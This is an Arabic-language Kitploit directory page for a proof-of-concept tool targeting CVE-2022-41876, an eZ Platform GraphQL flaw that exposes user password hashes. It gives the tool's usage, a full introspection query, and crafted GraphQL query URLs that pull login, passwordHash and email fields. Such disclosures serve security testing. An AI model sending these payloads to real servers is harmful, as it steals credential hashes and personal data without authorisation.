Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-41876 — إثبات المفهوم لـ CVE-2022-41876 | Kitploit
أدوات/GitHubGitHub/skileau/cve-2022-41876
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويباختبار الاختراق
GitHubskileau/cve-2022-41876

CVE-2022-41876

إثبات المفهوم لـ CVE-2022-41876

عرض المستودع
711منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
شعار ibexa

Python3.9 current version
Twitter Skilo Twitter TahiTi

CVE-2022-41876 - كشف معلومات مستخدم eZ Platform

ظهرت ثغرة في eZ Platform تتيح لمستخدم غير مصادق الوصول إلى تجزئة كلمة مرور كل مساهم. يقوم هذا الإثبات المفاهيمي (PoC) بحصر جميع مسارات GraphQL الممكنة المؤدية إلى كائن 'User'، ثم يطلب هذه المسارات لاسترجاع المعلومات السرية للمستخدمين.

الاستخدام

root@kitploit:~
python3 cve-2022-41876.py -h
root@kitploit:~
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url

CVE-2022-41876 POC

positional arguments:
  url                   عنوان الهدف (حدد نقطة نهاية GraphQL)

optional arguments:
  -h, --help            عرض رسالة المساعدة هذه والخروج
  -t, --thread          عدد الخيوط
  -f FILE, --file FILE  المسار المحلي لملف introspection

النتائج

image

كيف يعمل؟

الخطوات المختلفة التي يتبعها هذا الأداة لاستغلال CVE هي:

استرجاع ملف introspection

الخطوة الأولى لاستغلال هذه الثغرة هي الحصول على ملف introspect.json. إحدى طرق استرجاعه هي استعلام نقطة نهاية GraphQL للخادم باستخدام الحمولة التالية:

root@kitploit:~
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}

إيجاد المسارات إلى كائنات User

ثم يمكن استخدام JSON الذي يعيده الخادم لاستخراج جميع المسارات إلى كائنات 'User' باستخدام أداة graphql-enum-path كما يلي:

image

طلب المسارات التي تم العثور عليها للحصول على بيانات المستخدمين

أخيرًا، بعد العثور على جميع المسارات، يجب صياغة حمولة محددة بهذه الطريقة وإرسالها إلى الخادم:

root@kitploit:~
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}

حيث تمثل العناصر النصوص بين الأقواس في نتيجة graphql-enum-path (لاحظ أنه يجب إجراء استعلام لكل مسار).

لذا، مع مثال graphql-enum-path أعلاه، ستكون الحمولة الأولى:

root@kitploit:~
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}

إذا كان الخادم عرضة لهذه الثغرة، فسيستجيب لهذا الاستعلام بملف JSON يحتوي على بيانات مستخدميه.

المراجع

Hacktricks

graphql-enum-path

الإسناد

تم إنشاء هذا الإثبات المفاهيمي بواسطة @Skilo و @TahiTi

تنزيل الأداة